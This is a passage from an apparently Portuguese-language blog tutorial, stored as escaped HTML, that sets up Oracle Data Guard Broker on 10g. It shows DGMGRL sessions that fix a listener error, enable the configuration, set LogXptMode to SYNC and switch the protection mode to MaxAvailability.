/&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ok, agora que os serviços do Broker estão no ar, vamos ao client para criar a configuração do dataguard, note que o seu standby já está montado, portanto o broker irá herdar a maioria de suas configurações quando o database for adicionado. Neste ponto não esqueça de ter criado os arquivos de senha e colocado a mesma senha do sys para todos os nós, isso facilita na manutenção, porque o broker se conecta nos nós e faz shutdown e startup quando necessário.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ dgmgrl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL for Linux: Version 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2000, 2005, Oracle. All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Welcome to DGMGRL, type "help" for information.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; connect sys/oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; create configuration mportes_dg as&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&gt;  primary database is n1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&gt;  connect identifier is n1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Configuration "mportes_dg" created with primary database "n1"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; ADD DATABASE n2 AS CONNECT IDENTIFIER IS n2 MAINTAINED AS PHYSICAL;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Error: ORA-16796: one or more properties could not be imported from the database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Failed.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Importante o erro acima, nesse ponto vejo qual foi o problema consultando o código de erro online.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ oerr ora 16796&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;16796, 0000, "one or more properties could not be imported from the database"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;// *Cause:  The broker was unable to import property values for the database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//          being added to the broker configuration. This error indicates:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//          - the net-service-name specified in DGMGRL's CREATE CONFIGURATION&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//            or ADD DATABASE command is not one that provides access to the&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//            database being added, or&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//          - there are no instances running for the database being added.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;// *Action: Remove the database from the configuration using the REMOVE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//          CONFIGURATION or REMOVE DATABASE command. Make sure that the&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//          database to be added has at least one instance running and that the&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//          net-service-name provides access to the running instance. Then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//          reissue the CREATE CONFIGURATION or ADD DATABASE command.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Primeira coisa que vem a cabeça é testar a conectividade entre os servidores.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ tnsping n2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TNS Ping Utility for Linux: Version 10.2.0.3.0 - Production on 12-JUN-2007 00:32:20&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1997, 2006, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Used parameter files:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Used TNSNAMES adapter to resolve the alias&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Attempting to contact (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SID = n2dg)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;TNS-12541: TNS:no listener&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Bingo! Esqueci de subir o listener.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ lsnrctl start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;LSNRCTL for Linux: Version 10.2.0.3.0 - Production on 12-JUN-2007 00:32:25&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1991, 2006, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting /oracle/10g/bin/tnslsnr: please wait...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TNSLSNR for Linux: Version 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System parameter file is /oracle/10g/network/admin/listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Log messages written to /oracle/10g/network/log/listener.log&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;STATUS of the LISTENER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Alias                     LISTENER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Version                   TNSLSNR for Linux: Version 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Start Date                12-JUN-2007 00:32:25&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Uptime                    0 days 0 hr. 0 min. 0 sec&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Trace Level               off&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Security                  ON: Local OS Authentication&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SNMP                      OFF&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listener Parameter File   /oracle/10g/network/admin/listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listener Log File         /oracle/10g/network/log/listener.log&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listening Endpoints Summary...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Services Summary...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "PLSExtProc" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "lx10g" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Instance "lx10g", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "n1_DGMGRL" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Instance "n1dg", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "n2_DGMGRL" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Instance "n2dg", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;The command completed successfully&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Vamos tentar de novo!&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ dgmgrl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL for Linux: Version 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2000, 2005, Oracle. All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Welcome to DGMGRL, type "help" for information.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; connect sys/oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; ADD DATABASE n2 AS CONNECT IDENTIFIER IS n2 MAINTAINED AS PHYSICAL;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database "n2" added&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Agora sim, então temos nossa configuração de dataguard criada, porém em estado disable. O comando show configuration mostra o status da sua configuração.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; show configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Name:                mportes_dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Enabled:             NO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Protection Mode:     MaxPerformance&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Fast-Start Failover: DISABLED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Databases:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n1 - Primary database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n2 - Physical standby database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current status for "mportes_dg":&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DISABLED&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Habilite a configuração.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; enable configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Enabled.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; show configuration verbose&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Name:                mportes_dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Enabled:             YES&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Protection Mode:     MaxPerformance&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Fast-Start Failover: DISABLED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Databases:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n1 - Primary database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n2 - Physical standby database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current status for "mportes_dg":&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Warning: ORA-16610: command 'ENABLE DATABASE n2' in progress&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;E tenha certa paciência! :-) Aqui é interessante uma dica: abra duas sessões extras e vá ao diretório do alert e faça um "tail -f alert_..." e veja o broker em ação. Ele fará várias modificações e no momento que voce habilita, ele começa a aplicar os archives e sincronizar os redologs, ainda falta configurar o modo de aplicação, eu quero que seja MAXAVAILABILITY.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; show configuration verbose&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Name:                mportes_dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Enabled:             YES&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Protection Mode:     MaxPerformance&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Fast-Start Failover: DISABLED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Databases:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n1 - Primary database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n2 - Physical standby database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current status for "mportes_dg":&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SUCCESS&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Perfeito. Neste ponto faremos a configuração para que o protection mode seja maxavailability, ou seja, sem perda de dados com máximo de performance (possível).&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; alter configuration set protection mode as maxavailability;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Error: ORA-16627: operation disallowed since no standby databases would remain to support protection mode&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Failed.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ok, ok... Faltou alterar o &lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14230/dbpropref.htm#DGBKR905"&gt;LogXptMode&lt;/a&gt; de ASYNC para SYNC.&lt;br /&gt;Os helps abaixo ajudam muito na medida em que não é frequente o uso do client do broker e ninguem aqui está participando do campionato mundial de "saber tudo de cabeça".&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; help show&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Display information about a configuration, database, or instance&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Syntax:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  SHOW CONFIGURATION;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  SHOW DATABASE [VERBOSE] &lt;/span&gt;&lt;database style="color: rgb(0, 0, 0);"&gt; [&lt;property&gt;];&lt;br /&gt;&lt;br /&gt;SHOW INSTANCE [VERBOSE] &lt;instance&gt; [&lt;property&gt;]&lt;br /&gt;  [ON DATABASE &lt;database&gt;];&lt;br /&gt;&lt;br /&gt;DGMGRL&gt; show database verbose n1&lt;br /&gt;&lt;br /&gt;Database&lt;br /&gt;Name:            n1&lt;br /&gt;Role:            PRIMARY&lt;br /&gt;Enabled:         YES&lt;br /&gt;Intended State:  ONLINE&lt;br /&gt;Instance(s):&lt;br /&gt;  n1dg&lt;br /&gt;&lt;br /&gt;Properties:&lt;br /&gt;  InitialConnectIdentifier        = 'n1'&lt;br /&gt;  LogXptMode                      = 'ASYNC'&lt;br /&gt;  Dependency                      = ''&lt;br /&gt;  DelayMins                       = '0'&lt;br /&gt;  Binding                         = 'OPTIONAL'&lt;br /&gt;  MaxFailure                      = '0'&lt;br /&gt;  MaxConnections                  = '1'&lt;br /&gt;  ReopenSecs                      = '300'&lt;br /&gt;  NetTimeout                      = '180'&lt;br /&gt;  LogShipping                     = 'ON'&lt;br /&gt;  PreferredApplyInstance          = ''&lt;br /&gt;  ApplyInstanceTimeout            = '0'&lt;br /&gt;  ApplyParallel                   = 'AUTO'&lt;br /&gt;  StandbyFileManagement           = 'AUTO'&lt;br /&gt;  ArchiveLagTarget                = '0'&lt;br /&gt;  LogArchiveMaxProcesses          = '2'&lt;br /&gt;  LogArchiveMinSucceedDest        = '1'&lt;br /&gt;  DbFileNameConvert               = ''&lt;br /&gt;  LogFileNameConvert              = ''&lt;br /&gt;  FastStartFailoverTarget         = ''&lt;br /&gt;  StatusReport                    = '(monitor)'&lt;br /&gt;  InconsistentProperties          = '(monitor)'&lt;br /&gt;  InconsistentLogXptProps         = '(monitor)'&lt;br /&gt;  SendQEntries                    = '(monitor)'&lt;br /&gt;  LogXptStatus                    = '(monitor)'&lt;br /&gt;  RecvQEntries                    = '(monitor)'&lt;br /&gt;  HostName                        = 'anakin.mportes.local'&lt;br /&gt;  SidName                         = 'n1dg'&lt;br /&gt;  LocalListenerAddress            = '(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521))'&lt;br /&gt;  StandbyArchiveLocation          = '/backup/n1/arch'&lt;br /&gt;  AlternateLocation               = ''&lt;br /&gt;  LogArchiveTrace                 = '0'&lt;br /&gt;  LogArchiveFormat                = '%t_%s_%r.dbf'&lt;br /&gt;  LatestLog                       = '(monitor)'&lt;br /&gt;  TopWaitEvents                   = '(monitor)'&lt;br /&gt;&lt;br /&gt;Current status for "n1":&lt;br /&gt;SUCCESS&lt;br /&gt;&lt;br /&gt;DGMGRL&gt; help alter&lt;br /&gt;&lt;br /&gt;Edit a configuration, database, or instance&lt;br /&gt;&lt;br /&gt;Syntax:&lt;br /&gt;&lt;br /&gt;EDIT CONFIGURATION SET PROTECTION MODE AS&lt;br /&gt;  {MaxProtection|MaxAvailability|MaxPerformance};&lt;br /&gt;&lt;br /&gt;EDIT CONFIGURATION SET PROPERTY &lt;property&gt; = &lt;value&gt;;&lt;br /&gt;&lt;br /&gt;EDIT DATABASE &lt;database&gt; SET PROPERTY &lt;property&gt; = &lt;value&gt;;&lt;br /&gt;&lt;br /&gt;EDIT DATABASE &lt;database&gt; RENAME TO &lt;new&gt;;&lt;br /&gt;&lt;br /&gt;EDIT DATABASE &lt;database&gt; SET STATE = &lt;state&gt;&lt;br /&gt;  [WITH APPLY INSTANCE = &lt;instance&gt;];&lt;br /&gt;&lt;br /&gt;EDIT INSTANCE &lt;instance&gt; [ON DATABASE &lt;database&gt;]&lt;br /&gt;  SET AUTO PFILE [ = {&lt;initialization&gt;|OFF} ];&lt;br /&gt;&lt;br /&gt;EDIT INSTANCE &lt;instance&gt; [ON DATABASE &lt;database&gt;]&lt;br /&gt;  SET PROPERTY &lt;property&gt; = &lt;value&gt;;&lt;br /&gt;&lt;/value&gt;&lt;/property&gt;&lt;/database&gt;&lt;/instance&gt;&lt;/initialization&gt;&lt;/database&gt;&lt;/instance&gt;&lt;/instance&gt;&lt;/state&gt;&lt;/database&gt;&lt;/new&gt;&lt;/database&gt;&lt;/value&gt;&lt;/property&gt;&lt;/database&gt;&lt;/value&gt;&lt;/property&gt;&lt;/database&gt;&lt;/property&gt;&lt;/instance&gt;&lt;/property&gt;&lt;/database&gt;&lt;/pre&gt;&lt;br /&gt;Alterar nos dois databases.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; edit database n1 set property LogXptMode='SYNC';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Property "logxptmode" updated&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; edit database n2 set property LogXptMode='SYNC';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Property "logxptmode" updated&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; alter configuration set protection mode as maxavailability;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Succeeded.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ok, protection mode alterado! O &lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14230/dbresource.htm#DGBKR270"&gt;maxavailability&lt;/a&gt; é nosso preferido.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; show configuration verbose&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Name:                mportes_dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Enabled:             YES&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Protection Mode:     MaxAvailability&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Fast-Start Failover: DISABLED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Databases:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n1 - Primary database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n2 - Physical standby database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current status for "mportes_dg":&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SUCCESS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Uma vez habilitada a configuração, os bancos já deverão estar sincronizados.&lt;br /&gt;Vamos a alguns testes.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:38:37 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; select * from v$log;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- -------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1             1            14      52428800             1 YES CLEARING_CURRENT        604871 12/06/2007 00:38:10&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3             1            14      52428800             1 YES CLEARING                604871 12/06/2007 00:38:10&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2             1            13      52428800             1 YES CLEARING                604838 12/06/2007 00:37:00&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Hora das manutenções... :-) Olha como é difícil fazer &lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14230/dgmgrl.htm#DGBKR740"&gt;SWITCHOVER&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ dgmgrl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL for Linux: Version 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2000, 2005, Oracle. All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Welcome to DGMGRL, type "help" for information.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; connect sys/oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; show configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 